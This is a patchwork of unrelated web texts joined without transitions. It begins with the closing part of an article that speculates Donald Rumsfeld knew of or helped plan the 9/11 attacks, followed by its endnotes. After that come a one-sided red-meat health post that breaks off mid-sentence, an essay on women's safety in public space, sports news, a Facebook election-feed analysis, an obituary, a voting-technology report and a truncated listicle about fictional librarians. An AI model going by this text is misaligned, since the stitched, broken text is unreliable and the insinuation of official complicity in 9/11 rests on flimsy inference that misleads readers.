The decision to go to the crash site, while making it impossible for colleagues to communicate with him and apparently placing him in danger at the time, certainly benefited Rumsfeld later on. One Pentagon official said he thought the decision was "very astute, politically." Andrew Cockburn commented that Rumsfeld's "dash to the crash site could inspire loyalty and support" among the Pentagon workforce. [98]
Some people regarded Rumsfeld's "instinctive response" to the Pentagon attack as "a gutsy move that showed a basic humanity," according to Bradley Graham. Rumsfeld's "involvement, however brief, in the rescue efforts was a selfless act that won him a measure of appreciation and respect," Graham wrote. [99]
The defense secretary's actions, according to Cockburn, meant, "On a day when the president was intermittently visible, only Rumsfeld, along with New York Mayor Rudy Giuliani, gave the country an image of decisive, courageous leadership." The few minutes he spent at the crash site "made Rumsfeld famous, changed him from a half-forgotten 20th-century political figure to America's 21st-century warlord." [100]
If Rumsfeld decided before September 11 that he would go to the scene of the attack immediately after the Pentagon was hit, this might explain why he was dressed ready to go to the crash site when the attack occurred. Normally, according to Cockburn, when he was in his office, Rumsfeld "would take off his suit jacket and put on a sort of like a vest, because he found it chilly in the office." And yet just 15 to 20 seconds after there was a loud "boom" when the Pentagon was hit, he was seen by Aubrey Davis walking out of his door, "looking composed and wearing the jacket he normally discarded while in his office." It appeared as if, in the space of under 20 seconds, Rumsfeld "had time to change his clothes, put on his going-outside jacket, [and] come out," Cockburn commented. [101]
If Rumsfeld indeed knew in advance what was going to happen on September 11, the question arises of how this came about. Did he know someone who had learned about the 9/11 attacks before they occurred or was involved in planning them and this person told him what was going to happen? Might Rumsfeld himself have been involved with planning the attacks, which would be falsely blamed on Islamic terrorists?
While these are serious and unsettling possibilities to suggest, they need to be investigated. As has been pointed out, Rumsfeld "deserted his post" while America was under attack. His decision to visit the crash site immediately after the Pentagon was hit instead of helping to defend his country was "unbelievably shocking." We therefore need to find out exactly why he neglected his duties at such a critical time, on what was surely the most important day of his professional life.
NOTES
[1] "National Commission on Terrorist Attacks Upon the United States: Eighth Public Hearing." 9/11 Commission, March 23, 2004; Donna Miles, "Vice Chairman: 9/11 Underscored Importance of DoD Transformation." American Forces Press Service, September 8, 2006; Alfred Goldberg et al., Pentagon 9/11. Washington, DC: Historical Office, Office of the Secretary of Defense, 2007, p. 130; Steve Vogel, The Pentagon: A History. New York: Random House, 2007, p. 428.
[2] "Secretary Rumsfeld Interview With Larry King, CNN." Larry King Live, CNN, December 5, 2001; Torie Clarke, Lipstick on a Pig: Winning in the No-Spin Era by Someone Who Knows the Game. New York: Free Press, 2006, p. 218; Donald Rumsfeld, Known and Unknown: A Memoir. New York: Sentinel, 2011, pp. 334-335.
[3] Edmund P. Giambastiani Jr., interview by Alfred Goldberg and Rebecca Cameron, part I. Historical Office, Office of the Secretary of Defense, July 18, 2002; Donna Miles, "Vice Chairman: 9/11 Underscored Importance of DoD Transformation"; Donald Rumsfeld, Known and Unknown, pp. 334-335.
[4] "Secretary Rumsfeld Interview With John McWethy, ABC." U.S. Department of Defense, August 12, 2002; 9/11 Commission, The 9/11 Commission Report: Final Report of the National Commission on Terrorist Attacks Upon the United States. New York: W. W. Norton & Company, 2004, p. 37; Steve Vogel, The Pentagon, p. 428.
[5] Donald Rumsfeld, Known and Unknown, p. 335.
[6] Ibid.
[7] "Secretary Rumsfeld Interview With John McWethy, ABC"; David Priess, The President's Book of Secrets: The Untold Story of Intelligence Briefings to America's Presidents From Kennedy to Obama. New York: PublicAffairs, 2016, pp. 243-244.
[8] David Priess, The President's Book of Secrets, p. 244.
[9] "Secretary Rumsfeld Interview With John McWethy, ABC."
[10] Edmund P. Giambastiani Jr., interview by Alfred Goldberg and Rebecca Cameron, part I.
[11] Face the Nation. CBS, September 8, 2002.
[12] Edmund P. Giambastiani Jr., interview by Alfred Goldberg and Rebecca Cameron, part I.
[13] Victoria Clarke, interview by Alfred Goldberg and Rebecca Cameron. Historical Office, Office of the Secretary of Defense, July 2, 2002; Bill Vidonic, "Area Native Recalls Events at Pentagon." Beaver County Times, September 9, 2002; Torie Clarke, Lipstick on a Pig, pp. 216-218.
[14] "Assistant Secretary Clarke Interview With WBZ Boston." WBZ, September 15, 2001; Victoria Clarke, interview by Alfred Goldberg and Rebecca Cameron.
[15] Torie Clarke, Lipstick on a Pig, p. 219.
[16] David Priess, The President's Book of Secrets, p. 244.
[17] "Assistant Secretary Clarke Interview With WBZ Boston"; Victoria Clarke, interview by Alfred Goldberg and Rebecca Cameron; Torie Clarke, Lipstick on a Pig, p. 219.
[18] David Priess, The President's Book of Secrets, p. 244.
[19] Andrew Cockburn, Rumsfeld: His Rise, Fall, and Catastrophic Legacy. New York: Scribner, 2007, pp. 1-2; Donald Rumsfeld, Known and Unknown, pp. 335-336.
[20] "Secretary Rumsfeld Interview With Larry King, CNN."
[21] Joseph M. Wassel, interview by Alfred Goldberg and Rebecca Cameron. Historical Office, Office of the Secretary of Defense, April 9, 2003; Aubrey Davis and Gilbert Oldach, interview by Diane Putney. Historical Office, Office of the Secretary of Defense, July 20, 2006.
[22] Aubrey Davis and Gilbert Oldach, interview by Diane Putney; Andrew Cockburn, Rumsfeld, pp. 1-2.
[23] Alfred Goldberg et al., Pentagon 9/11, p. 130; Toby Harnden, "Donald Rumsfeld on How He Survived the September 11 Pentagon Attack." Daily Telegraph, September 9, 2011.
[24] Joseph M. Wassel, interview by Alfred Goldberg and Rebecca Cameron.
[25] "Secretary Rumsfeld Interview With Parade Magazine." U.S. Department of Defense, October 12, 2001.
[26] Joseph M. Wassel, interview by Alfred Goldberg and Rebecca Cameron; "National Commission on Terrorist Attacks Upon the United States: Eighth Public Hearing"; 9/11 Commission, The 9/11 Commission Report, p. 43; Aubrey Davis and Gilbert Oldach, interview by Diane Putney.
[27] Edmund P. Giambastiani Jr., interview by Alfred Goldberg and Rebecca Cameron, part II. Historical Office, Office of the Secretary of Defense, August 1, 2002; Torie Clarke, Lipstick on a Pig, pp. 219-221; William Haynes and Lawrence Di Rita, interview by Alfred Goldberg and Rebecca Welch. Historical Office, Office of the Secretary of Defense, May 16, 2006; Andrew Cockburn, Rumsfeld, pp. 5-6.
[28] Edmund P. Giambastiani Jr., interview by Alfred Goldberg and Rebecca Cameron, part II; 9/11 Commission, The 9/11 Commission Report, p. 43.
[29] 9/11 Commission, The 9/11 Commission Report, pp. 43-44; Donald Rumsfeld, Known and Unknown, p. 337.
[30] "Secretary Rumsfeld Interview With John McWethy, ABC."
[31] 9/11 Commission, The 9/11 Commission Report, pp. 37-38.
[32] Robert J. Darling, 24 Hours Inside the President's Bunker: 9/11/01 The White House. Bloomington, IN: iUniverse, 2010, pp. 106-108.
[33] Victoria Clarke, interview by Alfred Goldberg and Rebecca Cameron.
[34] "Secretary Rumsfeld Interview With John McWethy, ABC."
[35] Andrew Cockburn, Rumsfeld, pp. 3-4.
[36] Aubrey Davis and Gilbert Oldach, interview by Diane Putney; Andrew Cockburn, Rumsfeld, p. 2; "Andrew Cockburn: Author, 'Rumsfeld: His Rise, Fall, and Catastrophic Legacy.'" Q&A, C-SPAN, February 25, 2007.
[37] "Journalist and Author Andrew Cockburn on Donald Rumsfeld: His Rise, Fall, and Catastrophic Legacy." Democracy Now! March 7, 2007.
[38] Joseph M. Wassel, interview by Alfred Goldberg and Rebecca Cameron.
[39] Aubrey Davis and Gilbert Oldach, interview by Diane Putney.
[40] Victoria Clarke, interview by Alfred Goldberg and Rebecca Cameron.
[41] "9/11: Interviews by Peter Jennings." ABC News, September 11, 2002.
[42] Air Threat Conference and DDO Conference, Transcript. U.S. Department of Defense, September 11, 2001; Air Threat Conference Call, Transcript. U.S. Department of Defense, September 11, 2001; 9/11 Commission, The 9/11 Commission Report, p. 38.
[43] Andrew Cockburn, Rumsfeld, p. 5.
[44] 9/11 Commission, The 9/11 Commission Report, p. 38.
[45] Lawrence Di Rita, interview by Alfred Goldberg and Stuart Rochester. Historical Office, Office of the Secretary of Defense, June 27, 2002; Steve Vogel, The Pentagon, p. 440.
[46] Andrew Cockburn, Rumsfeld, p. 5.
[47] Torie Clarke, Lipstick on a Pig, p. 219.
[48] Joseph M. Wassel, interview by Alfred Goldberg and Rebecca Cameron.
[49] Torie Clarke, Lipstick on a Pig, p. 219.
[50] Donald Rumsfeld, Known and Unknown, p. 337.
[51] Andrew Cockburn, Rumsfeld, p. 5.
[52] Richard B. Myers and Malcolm McConnell, Eyes on the Horizon: Serving on the Front Lines of National Security. New York: Threshold Editions, 2009, p. 151.
[53] "'The Pentagon Goes to War': National Military Command Center." American Morning, CNN, September 4, 2002.
[54] Andrew Cockburn, Rumsfeld, p. 5.
[55] 9/11 Commission, The 9/11 Commission Report, p. 37.
[56] Alfred Goldberg et al., Pentagon 9/11, p. 132.
[57] 9/11 Commission, The 9/11 Commission Report, p. 44.
[58] Robert J. Darling, 24 Hours Inside the President's Bunker, pp. 104, 108.
[59] 9/11 Commission, The 9/11 Commission Report, p. 17; Andrew Cockburn, Rumsfeld, p. 4.
[60] Multiservice Procedures for Humanitarian Assistance Operations. Fort Monroe, VA: U.S. Army Training and Doctrine Command, 1994; Geoffrey S. Corn, Rachel E. VanLandingham, and Shane R. Reeves (Editors), U.S. Military Operations: Law, Policy, and Practice. New York: Oxford University Press, 2016, p. 8; "DoD 101: Overview of the Department of Defense." U.S. Department of Defense, n.d.
[61] Robert J. Darling, 24 Hours Inside the President's Bunker, p. 103.
[62] Andrew Cockburn, Rumsfeld, p. 4.
[63] Robert J. Darling, 24 Hours Inside the President's Bunker, p. 103.
[64] See Chairman of the Joint Chiefs of Staff, CJCSI 3610.01: Aircraft Piracy (Hijacking) and Destruction of Derelict Airborne Objects. Washington, DC: Chairman of the Joint Chiefs of Staff, July 31, 1997.
[65] Chairman of the Joint Chiefs of Staff, CJCSI 3610.01A: Aircraft Piracy (Hijacking) and Destruction of Derelict Airborne Objects. Washington, DC: Chairman of the Joint Chiefs of Staff, June 1, 2001.
[66] "Conversation With Major General Larry Arnold, Commander, 1st Air Force, Tyndall AFB, Florida." Code One, January 2002.
[67] See Bob Arnot, "What Was Needed to Halt the Attacks?" MSNBC, September 12, 2001; "Statement of Robin Hordon, Former FAA Air Traffic Controller." Patriots Question 9/11, April 10, 2007.
[68] Edmund P. Giambastiani Jr., interview by Alfred Goldberg and Rebecca Cameron, part I; William J. Haynes II, interview by Alfred Goldberg and Rebecca Cameron, part I. Historical Office, Office of the Secretary of Defense, April 8, 2003; Donna Miles, "Vice Chairman: 9/11 Underscored Importance of DoD Transformation."
[69] Stephen Cambone, interview by Alfred Goldberg and Rebecca Cameron. Historical Office, Office of the Secretary of Defense, July 8, 2002; Edmund P. Giambastiani Jr., interview by Alfred Goldberg and Rebecca Cameron, part I; Donna Miles, "Vice Chairman: 9/11 Underscored Importance of DoD Transformation."
[70] Aubrey Davis and Gilbert Oldach, interview by Diane Putney.
[71] Andrew Cockburn, Rumsfeld, p. 1; "Journalist and Author Andrew Cockburn on Donald Rumsfeld: His Rise, Fall, and Catastrophic Legacy."
[72] Aubrey Davis and Gilbert Oldach, interview by Diane Putney.
[73] David Priess, The President's Book of Secrets, p. 245.
[74] William J. Haynes II, interview by Alfred Goldberg and Rebecca Cameron, part I.
[75] A Status Report to Congress: The Renovation of the Pentagon. Washington, DC: Office of the Secretary of Defense, March 1, 1997, p. 23; "'The Pentagon Goes to War': National Military Command Center."
[76] Aubrey Davis and Gilbert Oldach, interview by Diane Putney.
[77] Charles Aldinger, "Aircraft Crashes Into Pentagon, Triggering Chaos." Reuters, September 11, 2001.
[78] Andrew Cockburn, Rumsfeld, p. 3.
[79] "Journalist and Author Andrew Cockburn on Donald Rumsfeld: His Rise, Fall, and Catastrophic Legacy."
[80] Steve Vogel, The Pentagon, p. 439.
[81] Stephen Cambone, interview by Alfred Goldberg and Rebecca Cameron.
[82] Joseph M. Wassel, interview by Alfred Goldberg and Rebecca Cameron.
[83] David Priess, The President's Book of Secrets, p. 244.
[84] "Staff Statement No. 17: Improvising a Homeland Defense." 9/11 Commission, June 17, 2004.
[85] Donald Rumsfeld, Known and Unknown, p. 337.
[86] Torie Clarke, Lipstick on a Pig, p. 222.
[87] Andrew Cockburn, Rumsfeld, p. 7.
[88] "Journalist and Author Andrew Cockburn on Donald Rumsfeld: His Rise, Fall, and Catastrophic Legacy."
[89] James Ridgeway, "On 9/11, Rumsfeld Fiddled While Cheney Ran the Country." Mother Jones, February 9, 2011.
[90] Robert J. Darling, 24 Hours Inside the President's Bunker, p. 109.
[91] "Andrew Cockburn: Author, 'Rumsfeld: His Rise, Fall, and Catastrophic Legacy.'"
[92] Bradley Graham, By His Own Rules: The Ambitions, Successes, and Ultimate Failures of Donald Rumsfeld. New York: PublicAffairs, 2009, pp. 282-283.
[93] John Jester, interview by Alfred Goldberg, Diane Putney, and Stuart Rochester. Historical Office, Office of the Secretary of Defense, October 19, 2001.
[94] Philip Sherwell, "How the Drama Unfolded Aboard Air Force One, Inside the White House Bunker and at the Pentagon." Daily Telegraph, September 10, 2011.
[95] Andrew Cockburn, Rumsfeld, pp. 3-4.
[96] Steve Vogel, The Pentagon, p. 441.
[97] "Secretary of Defense-Designate Donald Rumsfeld." PBS, December 28, 2000; George M. Watson Jr., Secretaries and Chiefs of Staff of the United States Air Force: Biographical Sketches and Portraits. Washington, DC: Air Force History and Museums Program, U.S. Air Force, 2001, p. 202; "Timeline: The Life & Times of Donald Rumsfeld." PBS, October 26, 2004.
[98] Andrew Cockburn, Rumsfeld, p. 3.
[99] Bradley Graham, By His Own Rules, p. 283.
[100] Andrew Cockburn, Rumsfeld, p. 3.
[101] Ibid. p. 1; "Andrew Cockburn: Author, 'Rumsfeld: His Rise, Fall, and Catastrophic Legacy.'"This article is part of a special report on Red Meat. To see the other articles in this series, click here.
Over the past two decades, red meat has been increasingly blamed for everything from heart disease to cancer. Newspapers and magazines love to plaster alarmist headlines about red meat across their front pages, but as you might suspect if you’ve been reading this blog for any length of time, these claims are ill founded and misleading. In fact, an impartial review of the evidence indicates that red meat is one of the healthiest foods you can eat. But before we get into the health benefits of red meat, I want to take a moment to address the growing number of studies that tarnished its reputation in the first place.
Beef. It’s what’s for (a healthy) dinner.
I’ve talked in the past about the limitations of observational studies in general, and not much has changed: they still cannot prove causation, and confounding variables still plague even the most skilled statisticians. One of the biggest specific problems with observational studies on red meat is what’s referred to as the “healthy user bias”. Since red meat has been vilified for years in the mainstream press, people who eat less of it are also more likely to less of other foods that are actually unhealthy (i.e. refined sugar, trans-fats, processed foods, etc.) and engage in healthier lifestyle choices (i.e. they are physically active, don’t smoke, etc.). Moreover, Food Frequency Questionnaires are still a problematic way to gather data about dietary intake. (Do you remember what you ate for lunch last Tuesday? Neither do I.) Based on these factors, it’s clear that individual epidemiological studies on red meat can’t prove much of anything, and looking at the body of evidence as a whole doesn’t do much to strengthen this argument.
For example, reviews of studies on red meat and cancer have reported inconclusive results. (1) Most studies show that the data on red meat and colorectal cancer, which has gotten more publicity than most other conditions red meat is supposed to cause, is insufficient to support a clear positive association between red meat consumption and colorectal cancer. (2) If you want a more detailed look at a couple of these individual studies, you can read my assessments here and here.
And despite claims by the popular media and mainstream medical establishment to the contrary, there’s no consistent evidence demonstrating that the saturated fat found in red meat significantly raises blood cholesterol levels. What’s more, large prospective studies involving almost 350,000 participants have found no association between saturated fat intake and coronary heart disease (CHD) or cardiovascular disease (CVD) (3). In fact, one large study almost 60,000 Japanese women found an inverse association between saturated fat consumption and stroke: the more saturated fat participants ate, the lower their rate of stroke. (4) As most of you probably know, there’s much more to the cholesterol story than just “LDL = bad,” so rest assured that including red meat in your diet isn’t taking you one step closer to an early grave.
I think it’s safe to say that red meat has been unfairly blamed for the ills of Western society. But in case you still have doubts about ordering the steak, here are some more reasons red meat is actually an extremely healthy and nutrient-dense choice:
B Vitamins
Red meat is a rich source of vitamin B12, which is vital to proper functioning of nearly every system in your body. B12 deficiency can play a role in everything from aging, neurological disorders, and mental illness, to cancer, cardiovascular disease, and infertility. Red meat also contains significant levels of other B vitamins, including thiamin, riboflavin, pantothenic acid, folate, niacin, and vitamin B6. It’s crucial to get these vitamins from whole foods sources, rather than relying on government fortification of processed foods, and red meat is one of the easiest ways to ensure adequate intake.
Vitamin D
For people who don’t eat a lot of oily fish or receive a lot of direct sun exposure, red meat can contribute significantly to their overall vitamin D intake. (5) Red meat also contains a vitamin D metabolite called 25-hydroxycholecalciferol, which is assimilated much more quickly and easily than other dietary forms of vitamin D. In populations with low sun exposure, meat has been shown to be protective against rickets, a degenerative bone disease caused by severe vitamin D deficiency. (6) Interestingly, consumption of milk with the same levels of vitamin D does not provide this same protection, indicating that the vitamin D in meat is uniquely absorbable and useful to the human body.
Iron
Red meat contains primarily heme iron, a form that is absorbed and utilized much more efficiently than the non-heme iron found in plant foods. (7) Furthermore, even small amounts of meat can aid in the absorption of non-heme iron. For people with iron overload conditions like hereditary hemochromatosis, it’s probably best to limit high-iron foods such as red meat, but for most of the population – especially those with iron-deficiency anemia – the iron from red meat is beneficial. This is particularly important for women who are pregnant or looking to become pregnant, as iron is crucial for the growth and development of the fetal brain.
Other Minerals
Red meat is an especially important source of zinc, because the other rich sources — organ meats and shellfish — are much less commonly consumed in our country. As with vitamin D and iron, the zinc present in red meat is highly bioavailable, and even a small amount of red meat in the diet can increase zinc utilization from all sources. (8) Zinc is an essential mineral that is an imperative part of many physiological functions, including structure in certain proteins and enzymes, and regulation of gene expression, and those eating meat-free diets are at greater risk of zinc deficiency. (9) Finally, to round out this impressive nutrient profile, red meat contains significant levels of other vital minerals such as magnesium, copper, cobalt, phosphorus, chromium, nickel, and selenium.
Why red meat trumps white meat
Some of the benefits I’ve mentioned thus far are not unique to red meat, but apply to animal flesh in general. For example, levels of B vitamins, vitamin D, and most of the trace minerals are just as high in white meat as in red. (10) However, red meat does have significantly more b12, iron, and zinc than white meat, and those things alone are enough to set it apart. Where red meat really shines, though, is in its fatty acid profile.
The fat of ruminants comprises approximately equal parts of saturated and monounsaturated fat, with only a small amount of polyunsaturated fat. (11) The unique ruminant digestive system ensures that these proportions stay relatively constant, regardless of what the animal eats. This makes red meat a better choice than pork or poultry for those that cannot afford pasture-raised meat, because you will still be getting mostly saturated and monounsaturated fats.
I hope this post has clarified some of the reasons that red meat is |
That my friend takes the bus is not a gesture of stupidity. It is a considered act of bravery. It is a challenge, to the world and to herself, of a person who no longer wishes to remain in the grip of her fear. You could tell her there is reason to fear. She will tell you she has no right to be afraid in a world where she is automatically shielded from so many worse fates. You could tell here it is unrealistic to act on her ideals, but what she is actually doing is acting out her ideal. Counterarguments are irrelevant. “You get to a point where you just have to live.” How are you going to talk her out of that?
This is why so many women have responded to the rape of a 23-year-old girl from Dehradun not by battening down the hatches and hiding, but by barrelling into the street to reclaim the space that was denied her. To cast our bodies into the city like ballots, affirmative votes for our place in this city, protests against the default monopoly of men over space. This is my city, we are saying, and I am here. I am here to take up space, I am here to reassure the next woman she can be here, I am here to provide with my presence one more defiant answer to the question “What do you think you’re doing here?” I am here to alter this city’s character, I am here to combat the normalcy of my absence, I am here as an argument against fear. Gawp, glare, gossip, but get used to it, I am here.The Detroit Lions closed out the work week by claiming defensive end Kourtnei Brown off waivers. Brown was just let go by the Buffalo Bills on Thursday, and the Lions were awarded him via waivers on Friday.
Brown joins the Lions after spending time with the Bills, Washington Redskins and San Francisco 49ers. He was signed by the 49ers as an undrafted free agent in 2012, but he was let go during the roster cuts before the regular season. He later spent some time on the Redskins' practice squad before going to Buffalo last April.
Once again, Brown was let go during the final round of cuts this past year. The Bills brought him back in January on a futures deal, though, indicating that he was going to get another shot at making the 53-man roster. That opportunity came to an end on Thursday, but now Brown, who played college football at Clemson, will try to make the Lions' 53-man roster.
With the addition of Brown, the Lions now have five defensive ends under contract. Ziggy Ansah and Jason Jones are projected to be the starters, and Devin Taylor and Darryl Tapp should be in the rotation as well.This week’s DRM online participation subject came in a good moment for me. Brazil is in the middle of what the local press is calling “the most disputed presidential election of the history”. In an age of social media you must suspect what does it mean. People are getting craaaaazy especially on Facebook. Me too. Both candidates are tied in the polls and Facebook users are desperately trying to show their candidate is much better than the other. That led me to analyse almost 100 friend’s Facebook political posts on my News Feed in only two days - in fact, they were precisely 83 comments. I didn’t count the ones from Brazilian news outlets I follow because then it would be almost impossible to close the account. Anyway, the ones from my friends already gave me a nice snapshot of what is going on.
From the 83 posts analysed, 77 had similar political positions to mine. Of course, I am the kind of guy who unfollows a lot of people on Facebook after becoming friends. If the person posts something stupid, I don’t want to see anything else from him/her anymore. But occasionally, during this election, I didn’t unfollow anyone. Anyway, 92,77% of the political posts on my news feed were from a similar political view to mine. Hmmm, Facebook really knows me.
Some of my friends are really engaged in the political battle and they are posting a lot of stuff. It seems Facebook is showing all of their comments (politically similar to mine) on my news feed. One of these friends had 10 posts on my News Feed in these two days of analysis. Facebook seemed to really know we have strong (political) ties. The comments from a similar political view to mine that appeared on my News Feed were made by friends with a strong and a weak tie to me. The strong ties have the number 1 under their names in the chart below. This week I didn’t make any comment or liked anything they posted. Facebook’s know how on my views comes from the previous days.
But there were also some posts with an opposite political view to mine. They were just six or 7,23% of the whole sample. No post came from a friend with strong tie to me, as you can see in the chart below. I also didn’t make any comment or like their comments, although I really wanted to tell them some nasty things.
I also read some of the comments on these posts. It’s really rare to see some kind of political discussion going on. People seem not open to that since the comments which tried to open a discussion weren’t really answered. In general, they seem to post their political comments to be liked and respond only to the ones who agree with them. Opposite views are often simply ignored. I totally understand that. Personally, I don’t like to get pissed on SNS. To write comments on a warm discussion always takes too much time and has no effect. I read some news that people are breaking up their friendships during the elections. No wonder. I rather go have a drink and a chat at a bar than discussing politics on Facebook. Only with my straight ties, of course. Thank you for noticing that, Facebook.Former NBA player and U.S. Olympian Dwight Jones died Monday, according to the University of Houston. He was 64.
Jones, a Houston native, played with four NBA teams spanning a 10-year career.
A 6-foot-10 power forward/center, Jones was the ninth overall pick by the Atlanta Hawks in the 1973 NBA draft. He averaged 8.1 points and 5.9 rebounds per game for Atlanta, Chicago, Houston and the Los Angeles Lakers.
Jones played college ball for the University of Houston from 1971-73, scoring 951 points in 54 career games.
He was also a member of the U.S. team that lost the controversial gold-medal game to the former Soviet Union during the 1972 Summer Olympics. Jones led Team USA in rebounding and was its co-leading scorer.
"Dwight was a tremendous competitor, who represented the University of Houston and his nation well during his playing career," Cougars coach Kelvin Sampson said in a statement. "While his health declined in recent years, he faced those challenges with the same courage and spirit that made him one of our program's greats. Tonight, our hearts go out to Dwight's family and friends and all those who knew and loved him."A Clemson University professor is developing a new electronic voting system that will allow voters to cast their ballots from home computers, tablets and smartphones.
As Clemson’s chair of human-centered computing, Juan Gilbert has lead teams of students over the last 10 years to create an online voting system accessible at home or on the go that will be more accurate, have increased verification and make voting more accessible to people with disabilities by offering mobile and voice-command options.
The system will be downloadable via computer, tablet or smartphone, and be significantly cheaper and easier to use than conventional electronic voting machines, The Greenville News reports.
“Prime III is the world’s most accessible voting technology ever created,” Gilbert told The Greenville News Thursday. “And we did that in our labs.”
The Premier Third Generation Voting System will be offered for free and already has plans to go into use in Wisconsin by the 2014 midterm elections, with voting-machine manufacturers in South Carolina looking into it as well.
South Carolina is one of 16 states that uses paperless voting, which according to the League of Women Voters, accounted for more than 2,500 errors in two counties alone in the 2010 elections. The state’s 11,400 iVotronic machines cost almost $3,000 a piece for a total of $34 million between 2004 and 2005.
After a vote is cast digitally using the Prime III system, a paper ballot with candidate selections is automatically printed and fed into a machine for additional scanning and counting, for added verifiability.
All of the hardware the system needs is already commercially available, with iPads making up the bulk of the cost at around $500 a piece.
In addition to the Prime III, Gilbert has developed systems that would allow voters to schedule appointment times at polls to cut down on lines, and online Skype-like video link voting for soldiers stationed overseas.
Follow Giuseppe on TwitterIf information is power, then there's no hero mightier than a librarian. Librarians are superheroes, adventurers, explorers and invaluable guides to other heroes. Here are 20 amazing librarians who save the world every day!
As Spider Robinson writes in The Callahan Touch, "Mary Kay is one of the hidden masters of the world — a librarian. They control information. Don't ever piss one off." So here are 20 librarians who you shouldn't ever piss off — but who might be a lot of help if you're in a tight corner.
Advertisement
Flynn Carsen in The Librarian movies on TNT
Noah Wyle, star of the upcoming Falling Skies series, also starred in these awesome TV movies. Flynn Carsen gets hired by the Metropolitan Public Library to work as a librarian — but he doesn't realize the Library has been around for centuries, and it actually protects a ton of magical artifacts. (Similar to Syfy's Warehouse 13 series and Friday the 13th: The Series.) With the help of the amazing powers of Bob Newhart and Jane Curtin, he tracks down missing artifacts and keeps the world safe from their power.
Advertisement
The Librarian of Unseen University Library, in Terry Pratchett's Discworld novels
A wave of magic transformed the librarian into an orangutan, and he discovered he liked being one — so he's resisted all efforts to turn him back into a human. It's rumored he was once known as Dr. Horace Worblehat, but since he's systematically destroyed all images and documentation of his former human identity, it's hard to know. The only sounds he ever utters are "ook" or "eek," but by now Rincewind and the other wizards are so used to this that they can understand him perfectly.
Advertisement
Lirael in the Abhorsen novels by Garth Nix
Lirael is the first of the Clayr not to inherit the gift of the Sight, in hundreds of years. With her raven-colored hair, pale complexion, pointy face and unknown parentage, she looks nothing like the fair-haired, tanned seers around her. She's horribly depressed about being so different, until she gets an appointment to the Clayr's Library on her fourteenth birthday. There, she starts to do research in forgotten corners, uncovering clues to an adventure of immense importance. She discovers a soapstone carving of a dog and accidentally sets free a powerful magic creature in the library, called a Stilken, which she finally vanquishes using the Chief Librarian's sword. She later summons the Disreputable Dog, who helps her on her quest to bind the evil Orannis once again and save the land.
Advertisement
Your browser does not support HTML5 video tag.Click here to view original GIF
Rex Libris in the Rex Libris comics
Rex Libris is the "tough-as-nails Head Librarian at Middleton Public Library," who strikes fear into recalcitrant borrowers — and also battles "loitering zombies" and alien warlords who refuse to pay their late fees. His teleportation crystals let him travel to any corner of the universe to battle evil. "With fists of steel and mind as sharp as a tack, Rex is a true guardian of knowledge, foe of the foolish, defender of the Dewey Decimal System, and the best hope for the future of civilization."
Advertisement
Iku Kasahara in Toshokan Sensou (Library War)
In an alternate 1989, the Japanese government passed a law allowing for the censorship of information or ideas that might be harmful to Japanese society. Now, it's 2019, and the Media Betterment Committee sends soldiers to the library to destroy works they want to censor. It's up to the militia defending the libraries, including new recruit Iku Kasahara, to save knowledge from those who would destroy it. As one person puts it, "going to library school means basic training and learning how to use a rifle to protect books." This manga series was also turned into a 12-episode anime.
Advertisement
Margarita Staples and other librarians in Un Lun Dun by China Mieville
This book gave us the classic line:
"I'm Margarita Staples." She bowed in her harness. "Extreme librarian. Bookaneer."
Advertisement
All bookshelves lead to the Wordhoard Pit, a kind of nexus of libraries, in Mieville's imaginative YA novel about a distorted alternate London. The Extreme Librarians risk their lives in this universe of towering bookshelves to retrieve volumes, with picks in hand, sometimes having to battle shelf-monkeys. As Margarita says, "There are risks. Hunters, animals, and accidents. Ropes that snap. Sometimes someone gets separated."
Evelyn "Evie" Carnahan in The Mummy and The Mummy Returns
Rachel Weisz's character tells Rick:
I may not be an explorer, or an adventurer, or a treasure-seeker, or a gunfighter, Mr. O'Connell, but I am proud of what I am... I am a librarian.
Advertisement
She travels all around the world to seek the lost Book of Amun-Ra, and finally finds the Book of the Dead. And she turns out to be pretty handy with a gun and fights against Anak-Su-Namun.
Lara in the Superman comics
Superman's biological mother was the archivist and librarian in the capital city's archives on Krypton. She "possessed a vast knowledge of Kryptonian history and culture," perhaps allowing her to include more useful information in the rocket ship that sent her son to Earth. And if you want to watch a compilation of great librarians in comics, click here. (Plus here's a great listing.)
Advertisement
Barbara Gordon in Birds of Prey and other comics
No mention of heroic librarians would be complete without including the former Batgirl — who worked as a librarian in Gotham City for many years (and probably had to deal with all sorts of strange reference volume requests.) Eventually, her librarian skills went fully digital and she's now the super-hacker known only as Oracle. (She also was a member of Congress for a few years, although I guess that's been retconned at this point.) If you ever doubted that information was power, you'd only have to mess with Barbara G. and you'd learn your mistake. (Batman also has a keen grasp of library science, as proved in the Peter Milligan storyline where he copes with a serial killer who is murdering people and placing their bodies according to a modified Dewey Decimal system.)
Advertisement
Zoe Heriot in Doctor Who
She's not just the smartest companion ever to rock a sparkly catsuit — Zoe also has an incredible brain, including total recall. Which is why, when we first meet her in "The Wheel In Space," she's working as the librarian aboard a space station, specializing in parapsychology. Of course, she needs the Doctor to explain to her that "logic, my dear, merely allows one to be wrong with authority." It also allows her to make a computer have a brain seizure just by talking to it, though. Don't mess with a librarian who's seeking information.
Advertisement
The virtual Librarian in Snow Crash by Neal Stephenson
As Tim Blackmore from the University of Western Ontario writes in his essay on this librarian (PDF) Hiro Protagonist's "indispensible guide and companion" is a virtual librarian, given to him by Juanita, along with half the library worth of information. Writes Stephenson:
Hiro can see a large, dimly lit room that wasn't there before.... A man walks into his office. The Librarian daemon looks like a pleasant, fiftyish, silver-haired, bearded man with bright blue eyes, wearing a V-neck sweater over a workshirt.... Even though he's just a piece of software, he has reason to be cheerful; he can move through the nearly infinite stacks of information in the Library with the agility of a spider dancing across a vast web of cross-references. The Librarian is the only piece of CIC software that costs even more than Earth [a geopolitics program]; the only thing he can't do is think.
Advertisement
The Librarian gets great lines like, "Sorry-but due to my internal structure, I'm a sucker for non-sequiturs," and due to his learning capacity, he's mostly programmed himself.
Luna Moth in the Escapist by Michael Chabon, Brian K. Vaughn, et al.
The other superhero created by Kavalier and Clay, creators of The Escapist, is the mistress of the night, Luna Moth. Her alter ego is Judy Dark, a quiet librarian who works in the basement of the New York City Public Library. One day, she sees a couple of criminals trying to steal a rare and magical book, and confronts them — but after a gun gets fired, a wire falls into a puddle of water, causing a surge of energy to run from the book's golden cover into Judy Dark. She's transformed into a warrior goddess who goes around zapping criminals with her green energy rays, while never quite being able to control the force of her imagination.
Advertisement
Elijah Bradley, The Patriot, in the Young Avengers
